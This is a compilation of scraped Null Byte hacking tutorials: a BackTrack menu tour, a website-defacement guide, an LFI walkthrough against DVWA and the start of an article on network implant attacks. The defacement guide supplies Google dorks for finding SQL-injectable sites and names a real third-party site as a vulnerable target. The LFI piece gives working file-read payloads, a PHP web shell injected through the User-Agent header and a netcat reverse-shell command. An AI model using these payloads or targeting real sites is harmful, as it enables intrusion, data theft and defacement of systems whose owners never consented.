Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Learn the Secrets of PsychologyHow To:Use Social Engineering to Find Out More Information About a CompanyHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHow To:Create Double Exposures with Your Cell PhoneHack Like a Pro:The Ultimate Social Engineering HackNews:Artificial Viruses Provoke the Immune System to Fight CancerListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)How To:Score Free Game Product Keys with Social EngineeringWeekend Homework:How to Become a Null Byte Contributor (2/10/2012)News:Students Exposed To Ringing Cell Phones Score Worse On TestsXbox LIVE Achievement:How to Earn Free Microsoft Points with Social EngineeringNews:Live Social EngineeringHow To:Proof of Social Engineering Success!Social Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:Welcome to Phone Snap!News:This Wooden DIY Cell Phone Is Way Cooler Than Any Shiny SmartphoneHow To:Social Engineer Your Way Into an Amusement Park for FreeNews:Using Your Cell Phone Overseas.Weekend Homework:How to Become a Null Byte Contributor (2/3/2012)How To:Create DIY Filters for Your Cell PhoneHow To:Create Cool Holiday Lights with Excess Film CannistersNews:Google social web engineer Joseph Smarr talks about lessons from Google+Social Engineering:The BasicsNews:Block Cell Phone Signals on the Carrier of Your Choice by Hacking a Radio Frequency JammerHow To:recognize Crowd Control - Part 1How To:Become a Better InstagrammerNews:And the Winner of the Phone Snap Funny Face Challenge Is...Filter Photography Challenge:Make a WishHow To:Understand The Process of InflammationNews:Get Inspired! 20 Funny Faces Captured with Cell PhonesSUBMIT:Self Portrait Cell Phone Photo by January 16th. WIN: Portable USB Power SupplySUBMIT:Your Best Insect Photo by October 17th. WIN: Cell Phone Macro/Wide Angle Lens [Closed]SUBMIT:Photo Self-Portrait by September 5th. WIN: Bottle Cap Tripod Mount [Closed]SUBMIT:Your Best Camera Phone Photo by August 29th. WIN: Your Photo Custom-Framed in Hatchcraft's "Boo Box" [Closed]News:Hipstamatic Gets Social and Announces D-Series Disposable Camera AppHow To:The Social Engineer's Guide to Buying an Expensive LaptopSUBMIT:Your Best Cell Phone Filter Photo by November 14th. WIN: Touchscreen-Friendly Digits for Winter Gloves [Closed]
Hack Like a Pro: Getting Started with BackTrack, Your New Hacking System « Null Byte :: WonderHowTo
Welcome back, my fledgling hackers!In one of my recent articles, I showed you how toinstall BackTrack as a dual boot systemon a Windows computer. In this tutorial, I will walk you through BackTrack, giving you a tour of the most salient features for the hacker-to-be.NOTE: BackTrack Is No Longer Supported; Switch to Kali LinuxBackTrack is no longer supported by the developers, so we have stopped using it as our primary hacking system here onNull Byte. Instead, please check outmy guide on installing Kali Linux, which is what we now use for most hacks in Null Byte. Of course, you can still read on below if you'd like to get a little information about what BackTrack was and how it worked.As you can see in the screenshot above, I've installed the most recent version of BackTrack, version 5 release 3 (generally referred to BT5r3). My install is the 64-bit version with the KDE interface, but the GNOME interface works just as well and has all the same features. I just prefer the KDE.The BackTrack MenuSimilar to Windows start button, we have a button with the BackTrack icon in the lower left-hand corner along the lower panel.When you click on it, it opens up a collection of multi-nested menus just like Windows. Let's go through each of them from bottom to top.Step 1: Leave MenuThe first menu we come to is titled "Leave." This is where we would go when we want to shutdown BackTrack.The sub-menus here are all self-explanatory.End SessionLock ScreenStart a parallel session as a different userStep 2: Utilities MenuWe're going to skip over a few menu choices as they are not salient to our hacking tutorials, so go up to "Utilities."Akonaditray(a personal information manager)Klipper(a clipboard tool)KWrite(text editor similar to notepad),Terminator(a way of managing multiple terminals)WBarConf(a tool for managing your KDE bars)Step 3: The System MenuThe next menu we'll look at is titled "System," which contains applications that are crucial to the hacker. When we hover over System we seeAiroscript-ngandAiroscript-ng GTK. These are scripts for using Aircrack-ng to hack wireless. I'll do a tutorial on those in the near future, so stay tuned.We also seeDolphin(a file manager similar to Windows Explorer)EtherApe(a graphical network model)Htop(a process viewer)KinfoCenter(an information center about your computer, i.e. CPU, memory, DMA, etc)Below KinfoCenter we find probably the most important utility in any Linux system:Konsole(a terminal)Any true hacker MUST become familiar with the terminal. For the remaining tools, we have:KpackageKit(download packages)KRandRTray(resizing windows)System Monitor(self-explanatory)Step 4: The Internet MenuNow we're going to jump up to the "Internet" menu and we can seeEtherApeappears here again (it was also under "System").Also, there's:Firefox(web browser)Konqueror(web browser)Wicd(for connecting to Wi-Fi)Zenmap(the network reconnaissance toolnmapoverlaid with a nice GUI).We'll be using nmap for target reconnaissance in a tutorial coming soon.Step 5: BackTrack!At the very top of the menu, we find the "BackTrack" menu! This is where we'll be spending most of our time as hackers. The BackTrack menu has shortcuts to the hundreds of hacking tools in BackTrack.These tools are too numerous to list here, but as you can see BackTrack classifies them into the following:"Information Gathering""Vulnerability Assessment""Exploitation tools""Privilege Escalation""Mainataining Access""Reverse Engineering""RFID Tools""Stress Testing""Forensics""Reporting Tools""Services""Miscellaneous"Over the next several tutorials, we'll examine each of these set of tools.Step 6: Exploitation ToolsIf we hover over "Exploitation Tools," those of you who have following my earlier tutorials will see some familiar territory. Exploitation Tools opens a sub-menu of numerous types of Exploitation Tools and if we hover over "Network Exploitation" we will see my favorite tool, "Metasploit Framework."For those of you who are just getting started in hacking,Metasploitis a powerful network exploitation tool and I havea number Metasploit tutorials here, so take a look at them if you aspire to become an expert hacker.So that's the quick and dirty tour of BackTrack, my fledgling hackers. In my coming tutorials, I'll show you how to use many of the best hacking tools in BackTrack, sokeep coming back!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaTechie TalksRelatedHack Like a Pro:How to Install BackTrack 5 (With Metasploit) as a Dual Boot Hacking SystemHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:Get Started with Kali Linux (2014 Version)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:How to Conduct Passive OS Fingerprinting with p0fHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network —UndetectedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHow To:Hack Windows Administrator Password with Out SAMHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Hack Like a Pro:How to Exploit SNMP for ReconnaissanceHow To:Hack a Bluetooth device using Linux BackTrackHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHow To:Get SwiftKey's All-Black Ninja Themes for FreeHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)Hack Like a Pro:How to Crack User Passwords in a Linux SystemBecome an Elite Hacker, Part 1:Getting StartedHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteNews:Backtrack 5 Security EssentialsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:The Official Google+ Insider's Guide IndexNews:Backtrack 5 R2, 3.2.6 Linux KernalNews:What does Pro Tools HD Native mean for you?
How to Become an Elite Hacker Part 4: Hacking a Website. [Part 1] « Null Byte :: WonderHowTo
Welcome back my fellow army of hackers! Today we'll be hacking a website. Hacking is technically not the right word used here. It should be defacing! So we are going to deface a website...What's Defacing?Website defacement is an attack on a website that changes the visual appearance of the website. For example: you've got a website that only shows 1 word. That word is Hi. When defacing you (the h@cker) are going to change that very same word into anything you want. (usually you'r Alias).How to Deface?Usually a defacement is done by using this method (SQL injection). There are other methods involving PHP, but SQL is more common and far more easy to use! So let's get started.First let's make a list of things that we need:Vulnarble website for SQL injectionThe admin passwordShell script (So you'r able to gain admin controls)What Is a SQL InjectionA SQL injection is a method to gain access and deface a website.SQL is used to design the databases. The information is stored in databases. And with this "Exploit" we'll hack in to that very same database using SQL.Finding a Vulnerable WebsiteFirst we'll need a website vulnerable to a SQL injection. There is a simple way to test a website. But the challenge is to actuallyfinda website. For this we'll use some Google dorks.Google DorksGoogle dorks are used to search for something on Google in a advanced way. Basically you'r telling Google what to look for. If would say FILETYPE=PDF, everybody would understand that i want a file with a .pdf extension. Now this works almost the same for Google. Here are some useful Dorks for our SQL injection. Just past them in Google, and press search!inurl:index.php?id=inurl:buy.php?category=inurl:news.php?id=These should do the trick. Now testing for vulnerability.Go to the selected page and after the link add a 'Then press enter and if you get an error that means that the site is vulnerable. i choose forThis site.So i have the link:http://www.irishsanghatrust.ie/news.php?id=33Then for the SQL injection test add a'http://www.irishsanghatrust.ie/news.php?id=33'And you'll get an error. Here are some screenshots showing you before and after the'.Before the ' was added (Look at the URL)After the ' was added (look at the URL)ConclusionAs you can see it all ends heremuhahaha!!!This is were i would like to stop it for now. I could continue but the "How-To" Would be way to long and most of allBORING.So be sure to look for:How To Become An Elite Hacker Part 4: Hacking A Website [Part 2]A Shoutout to Naughty Criss; He gave me the idea to do a how-to about Defacing!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:The Essential Skills to Becoming a Master HackerBecome an Elite Hacker, Part 3:Easy DDOSAdvice from a Real Hacker:The Top 10 Best Hacker MoviesA Hackers Advice & Tip:Choosing Your Path. Knowing Where to Learn & How to Learn It **Newbies Please Read**Become an Elite Hacker, Part 1:Getting StartedNews:How to Study for the White Hat Hacker Associate Certification (CWA)White Hat Hacking:Hack the Pentagon?News:8 Tips for Creating Strong, Unbreakable PasswordsHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:Why You Should Study to Be a HackerHow To:The Novice Guide to Teaching Yourself How to Program (Learning Resources Included)Hugging the Web (Part 3:The Google Bloodhound)Hack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)Hack Like a Pro:The Ultimate Social Engineering HackNews:Anonymous Hackers Replace Police Supplier Website With ‘Tribute to Jeremy HammMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:How Hackers Take Your Encrypted Passwords & Crack ThemGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsNews:Student Sentenced to 8mo. in Jail for Hacking FacebookHow To:Score Free Game Product Keys with Social EngineeringCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHow To:Noob's Introductory Guide to Hacking: Where to Get Started?Community Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsTVs Are for Old People:A Guide to Handheld ConsolesHow To:Hack Wireless Router Passwords & Networks Using HydraHow To:Hack a Radio to Pick Up Different Frequencies - Including Law Enforcement & MoreTera Online:Emphasis on GameplayNews:Finding the Exploits Out in the World (For Beginner Hackers)How To:Sneak Past Web Filters and Proxy Blockers with Google TranslateGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Conceal a USB Flash Drive in Everyday ItemsCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingNews:The Coach's Corner/Pre-PubertyCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking Simulations
How to Beat LFI Restrictions with Advanced Techniques « Null Byte :: WonderHowTo
One of the most common web application vulnerabilities is LFI, which allows unauthorized access to sensitive files on the server. Such a common weakness is often safeguarded against, and low-hanging fruit can be defended quite easily. But there are always creative ways to get around these defenses, and we'll be looking at two methods to beat the system and successfully pull off LFI.LFI (local file inclusion) is a technique that allows an attacker to access files on the system that they otherwise wouldn't be able to view. It's usually done via a vulnerableweb app, where files outside of the web document root are accessed using various methods.In all but the most poorly written web apps, LFI usually isn't as easy as merely requesting the desired file. But there are techniques to get around these restrictions, such as using thePHPfilter method and the /proc/self/environ method. To test these out, we'll be usingDVWA(Damn Vulnerable Web Application) as the target andKali Linuxas the attacking machine.Method 1: PHP Filter WrapperTo start, log into DVWA with the default credentials, which areadminandpassword.Next, go to the "DVWA Security" page. Set the security level to "low" from the drop-down and hit "Submit."Finally, navigate to the "File Inclusion" page, which is vulnerable to LFI.The most basic type of LFI is thedot-dot-slash technique, in which the vulnerable parameter is replaced with dots and slashes (to climb the directories) to reach the desired target file. Below, we can see a typical LFI accessing the/etc/passwdfile.In most cases, we don't get that lucky, and there are safeguards in place to prevent this type of attack. But often we can bypass those restrictions with some clever use of PHP's filter wrapper.PHP has anumber of wrappersthat allow access to input and output streams, and they are used to manipulate data being read or written. One of these wrappers is the filter wrapper, which is used to allow PHP's filter functions access to a stream once it is opened.One of the parameter options of the filter wrapper is the ability to encode a resource inbase64. We can use this to our advantage to view files that are being blocked in more restricted environments. For instance, to view the /etc/passwd file, place this code in the page parameter:php://filter/convert.base64-encode/resource=/etc/passwdWhen we load the page, we see a long string of base64 encoded data.All we have to do now is decode it to view the contents. We can either use anonline base64 decoderor simplyechothe string in the terminal and pipe it throughbase64, using the-dflag to decode.~# echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovYmluL3NoCmJpbjp4OjI6MjpiaW46L2JpbjovYmluL3NoCnN5czp4OjM6MzpzeXM6L2RldjovYmluL3NoCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L2Jpbi9zaAptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovYmluL3NoCmxwOng6Nzo3OmxwOi92YXIvc3Bvb2wvbHBkOi9iaW4vc2gKbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovYmluL3NoCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L2Jpbi9zaAp1dWNwOng6MTA6MTA6dXVjcDovdmFyL3Nwb29sL3V1Y3A6L2Jpbi9zaApwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L2Jpbi9zaAp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi9iaW4vc2gKYmFja3VwOng6MzQ6MzQ6YmFja3VwOi92YXIvYmFja3VwczovYmluL3NoCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L2Jpbi9zaAppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L2Jpbi9zaApnbmF0czp4OjQxOjQxOkduYXRzIEJ1Zy1SZXBvcnRpbmcgU3lzdGVtIChhZG1pbik6L3Zhci9saWIvZ25hdHM6L2Jpbi9zaApub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi9iaW4vc2gKbGlidXVpZDp4OjEwMDoxMDE6Oi92YXIvbGliL2xpYnV1aWQ6L2Jpbi9zaApkaGNwOng6MTAxOjEwMjo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKc3lzbG9nOng6MTAyOjEwMzo6L2hvbWUvc3lzbG9nOi9iaW4vZmFsc2UKa2xvZzp4OjEwMzoxMDQ6Oi9ob21lL2tsb2c6L2Jpbi9mYWxzZQpzc2hkOng6MTA0OjY1NTM0OjovdmFyL3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCm1zZmFkbWluOng6MTAwMDoxMDAwOm1zZmFkbWluLCwsOi9ob21lL21zZmFkbWluOi9iaW4vYmFzaApiaW5kOng6MTA1OjExMzo6L3Zhci9jYWNoZS9iaW5kOi9iaW4vZmFsc2UKcG9zdGZpeDp4OjEwNjoxMTU6Oi92YXIvc3Bvb2wvcG9zdGZpeDovYmluL2ZhbHNlCmZ0cDp4OjEwNzo2NTUzNDo6L2hvbWUvZnRwOi9iaW4vZmFsc2UKcG9zdGdyZXM6eDoxMDg6MTE3OlBvc3RncmVTUUwgYWRtaW5pc3RyYXRvciwsLDovdmFyL2xpYi9wb3N0Z3Jlc3FsOi9iaW4vYmFzaApteXNxbDp4OjEwOToxMTg6TXlTUUwgU2VydmVyLCwsOi92YXIvbGliL215c3FsOi9iaW4vZmFsc2UKdG9tY2F0NTU6eDoxMTA6NjU1MzQ6Oi91c3Ivc2hhcmUvdG9tY2F0NS41Oi9iaW4vZmFsc2UKZGlzdGNjZDp4OjExMTo2NTUzNDo6LzovYmluL2ZhbHNlCnVzZXI6eDoxMDAxOjEwMDE6anVzdCBhIHVzZXIsMTExLCw6L2hvbWUvdXNlcjovYmluL2Jhc2gKc2VydmljZTp4OjEwMDI6MTAwMjosLCw6L2hvbWUvc2VydmljZTovYmluL2Jhc2gKdGVsbmV0ZDp4OjExMjoxMjA6Oi9ub25leGlzdGVudDovYmluL2ZhbHNlCnByb2Z0cGQ6eDoxMTM6NjU1MzQ6Oi92YXIvcnVuL3Byb2Z0cGQ6L2Jpbi9mYWxzZQpzdGF0ZDp4OjExNDo2NTUzNDo6L3Zhci9saWIvbmZzOi9iaW4vZmFsc2UK | base64 -dAnd now we can see the contents of /etc/passwd:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/falseThe filter wrapper also contains a ROT13cipher function, which will rotate each letter thirteen places. We can also use this to beat certain restrictions and view files. Here is the code:php://filter/read=string.rot13/resource=/etc/passwdWhen the page loads, we can see what appears to be a jumbled mess at the top.Copy this data and enter it into aROT13 decoderto get the contents of our file.The filter wrapper can sometimes be used as a bypass just by simply specifying the resource we want without any encoding at all. Like so:php://filter/resource=/etc/passwdThat can still give us the contents of /etc/passwd.This wrapper is not only useful for viewing system files, but it can be used to read thesource codeof PHP files. For example, we can view the source code of include.php with the following line:php://filter/convert.base64-encode/resource=include.phpAgain, this will give us a base64 encoded string.And we can decode it using the same process we did earlier.~# echo PD9waHANCg0KJHBhZ2VbICdib2R5JyBdIC49ICINCjxkaXYgY2xhc3M9XCJib2R5X3BhZGRlZFwiPg0KCTxoMT5WdWxuZXJhYmlsaXR5OiBGaWxlIEluY2x1c2lvbjwvaDE+DQoNCgk8ZGl2IGNsYXNzPVwidnVsbmVyYWJsZV9jb2RlX2FyZWFcIj4NCg0KCQlUbyBpbmNsdWRlIGEgZmlsZSBlZGl0IHRoZSA/cGFnZT1pbmRleC5waHAgaW4gdGhlIFVSTCB0byBkZXRlcm1pbmUgd2hpY2ggZmlsZSBpcyBpbmNsdWRlZC4NCg0KCTwvZGl2Pg0KDQoJPGgyPk1vcmUgaW5mbzwvaDI+DQoJPHVsPg0KCQk8bGk+Ii5kdndhRXh0ZXJuYWxMaW5rVXJsR2V0KCAnaHR0cDovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9SZW1vdGVfRmlsZV9JbmNsdXNpb24nKS4iPC9saT4NCgkJPGxpPiIuZHZ3YUV4dGVybmFsTGlua1VybEdldCggJ2h0dHA6Ly93d3cub3dhc3Aub3JnL2luZGV4LnBocC9Ub3BfMTBfMjAwNy1BMycpLiI8L2xpPg0KCTwvdWw+DQo8L2Rpdj4NCiI7DQoNCj8+DQo= | base64 -dNow we can view the source code of the page in plain text:<?php $page[ 'body' ] .= " <div class=\"body_padded\"> <h1>Vulnerability: File Inclusion</h1> <div class=\"vulnerable_code_area\"> To include a file edit the ?page=index.php in the URL to determine which file is included. </div> <h2>More info</h2> <ul> <li>".dvwaExternalLinkUrlGet( 'http://en.wikipedia.org/wiki/Remote_File_Inclusion')."</li> <li>".dvwaExternalLinkUrlGet( 'http://www.owasp.org/index.php/Top_10_2007-A3')."</li> </ul> </div> "; ?>This method is especially useful if there is some function on the page that could potentially be abused for shell access orprivilege escalation.Method 2: /Proc/Self/Environ Command ExecutionAnother LFI technique that can be utilized in more restricted environments involves the/proc/self/environfile on Linux systems. The file contains environmental variables, and if we can access it as a non-root user (like www-data usually found on web servers), we can use it toget a shell.First, see if we can access it by including it as the page parameter./proc/self/environWe see some information about the environment displayed on the page.While this can be useful forrecon, what we are really after iscommand execution. It works by injecting PHP code into the user agent variable, which gets executed on the server when the page loads.The easiest way to do that is to use a proxy likeBurp Suite. Fire up Burp, make sure "Intercept is on," and load the page with the /proc/self/environ inclusion just like before. We should see the request in Burp as such:There are two things we need to modify here. First, put this PHP code in the User-Agent field.<?php system($_GET["cmd"]); ?>That will call the system on the server and execute whatever command we pass to the "cmd" parameter. Next, append the desired command to the page parameter, like so:page=/proc/self/environ&cmd=idThe final request should look like this:We will first test for command execution with a simpleidcommand, instead of jumping straight to a shell. Forward the request, and we should see the contents displayed at the top of the page just like before, but now the results of our command are shown in the user agent field.We have command execution! Now the next step is to get a reverse shell. Start a listener on our local machine to catch the incoming connection.~# nc -lvp 9988 listening on [any] 9988 ...We will use the standardNetcatreverse shell method here. Reload the page and append the following command (using your own IP address and desired port) to the request, replacing theidcommand from earlier.~# nc 10.10.0.1 9988 -e /bin/bashThat will connect to our listener and spawn a shell on our machine. Make sure to URL encode the command so the spaces play nice and it runs properly. Highlight it, and pressControl Uto do so. The request should look like this:Once the page loads, our command gets executed, and we should see a connection open up on our machine. We now have a shell on the target and can issue commands likeidanduname -ato verify.10.10.0.50: inverse host lookup failed: Unknown host connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 59327 ~# id uid=33(www-data) gid=33(www-data) groups=33(www-data) ~# uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/LinuxFrom here, it is only a matter of privilege escalation, and we would wholly own the system, all from a file inclusion vulnerability.Wrapping UpToday, we learned about local file inclusion, how it could be used to access system files, and advanced techniques to use in locked-down environments. First, we looked at PHP's filter wrapper and how it can be utilized to encode and read files and source code. We then explored /proc/self/environ LFI and how it can be leveraged to get a shell on the target. These just go to show that sometimes even a vulnerability as (seemingly) simple as LFI can lead to complete system takeover.Don't Miss:How to Exploit Remote File Inclusion to Get a ShellWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bymyrfa/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Beat Ghost Recon Advanced Warrior 2How To:iOS 11 Breaks AirDrop on Some iPad Models — Here's How to Fix ItToday's Top News:China Is Cracking Down on US & Euro Driverless Mapping with New RestrictionsHow To:Bypass File Upload Restrictions Using Burp SuiteHow To:Use advanced techniques in Photoshop lightingHow To:Get advanced Adobe After Effects techniquesHow To:Learn advanced pottery techniquesHow To:Perform advanced moves while defending in FIFA 11 on the PlayStation 3How To:Use advanced quilting techniquesHow To:Play Super Smash Bros. Melee (advanced)How To:Get Even Better Sound Quality Out of Your HTC One's SpeakersHow To:Do the half beat bass technique on the accordionHow To:Do Advanced Aikido RollsNews:WhatsApp Will Let You Send Whatever Kind of File You Want NowHow To:Remove the Lock Screen Camera Shortcut on Your iPhone in iOS 10How To:Perform the two beat corkscrew poi trickHow To:Make Pretty Paper Ribbon SentimentsHow To:Create a hip hop beat using ReasonHow To:Beatbox the song Drop It Like It's Hot by Snoop DoggHow To:Beatbox basic beatsHow To:Play polyrhythms on the pianoHow To:Beat level 1-18 in Cut the Rope HD for the Apple iPadHow To:Beat level 7-11 of Angry Birds with three starsHow To:Beat level 4-2 of Angry Birds with three starsHow To:Beat level 3-11 of Angry Birds Halloween with three starsHow To:Beat level 1-11 of Angry Birds Halloween with three starsHow To:Use Advanced Techniques to Improve Softball HittingHow To:Play sixteenth note accent beatsHow To:Use a Mac computer and Pwnagetool to jailbreak an Apple TVHow To:Do advanced "first 2 levels" techniquesHow To:Execute an advanced pushup with Ebony MagazineHow To:Use automation in FL StudioHow To:Use advanced driving techniquesHow To:Advanced Techniques to Bypass & Defeat XSS Filters, Part 2How To:Beat level 2-3 of Plants vs Zombies HD for the iPadHow To:Beat level 3-1 of Plants vs Zombies HD for the iPadHow To:Beat level 3-4 of Plants vs Zombies HD for the iPadHow To:Beat level 3-6 of Plants vs Zombies HD for the iPadHow To:Beat level 3-9 of Plants vs Zombies HD for the iPadNews:Minecraft World's Weekly Workshop: Creating a Multi-Channel Music Sequencer
How to Perform Network-Based Attacks with an SBC Implant « Null Byte :: WonderHowTo
With a tiny computer, hackers can see every website you visit, exploit services on the network, and break into your Wi-Fi router's gateway to manipulate sensitive settings. These attacks can be performed from anywhere once the attacker's computer has been connected to the router via a network implant.TheOrange Pi Zeroand Armbian operating system must first be set up for remote access and network-based attacks before proceeding. The operating system is not weaponized out of the box, so be sure to review my previous article onsetting everything upfirst. This kind of attack can be performed with aRaspberry Pias well, but the below installation commands were only tested with the Orange Pi Zero.Previously:How to Set Up Network Implants with a Cheap SBCtokyoneon/Null ByteThis article will focus on performing several network-based attacks after the Orange Pi Zero has been planted on the target router. The tools and attacks featured here are far from a complete depiction of how much damage an attacker can inflict on a network., but it's a good start to showing how dangerous a network implant can be in the wrong hands.Recommended on Amazon:Orange Pi Zero 512 MB + Protective White Case1. Perform Network Recon & CVE Detection with NmapNmapis one of the essential network-mapping tools. We can begin by installing it on the Orange Pi Zero with the followingapt-getcommands.root@orangepizero:~# apt-get update && apt-get install nmapNext, install some useful NSE scripts such as thenmap-vulnersandvulscanas shown in my previous articledetecting CVEs with Nmap scripts. When those tools are loaded onto the Orange Pi Zero, we can start by identifying the IP address, netmask, and route given to the Orange Pi Zero by target router.root@orangepizero:~# ip addr 3: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff inet 192.168.8.138/24 brd 192.168.8.255 scope global dynamic eth0 valid_lft 86056sec preferred_lft 86056sec inet6 xxxx::xxxx:xxxx:xxxx:xxxx/64 scope link valid_lft forever preferred_lft foreverWe can see the192.168.8.138/24address and presume the router is at 192.168.8.1, verifiable with theip routecommand. Then, perform a ping scan (-sn) on the entire network to discover available hosts.root@orangepizero:~# nmap -sn 192.168.8.1/24 Starting Nmap 7.40 ( https://nmap.org ) at 2019-04-15 01:17 UTC Nmap scan report for 192.168.8.1 Host is up (0.00038s latency). MAC Address: XX:XX:XX:XX:XX:XX (Mediabridge Products) Nmap scan report for 192.168.8.2 Host is up (0.00049s latency). MAC Address: XX:XX:XX:XX:XX:XX (Mediabridge Products) Nmap scan report for 192.168.8.179 Host is up (-0.088s latency). MAC Address: XX:XX:XX:XX:XX:XX (Sony) 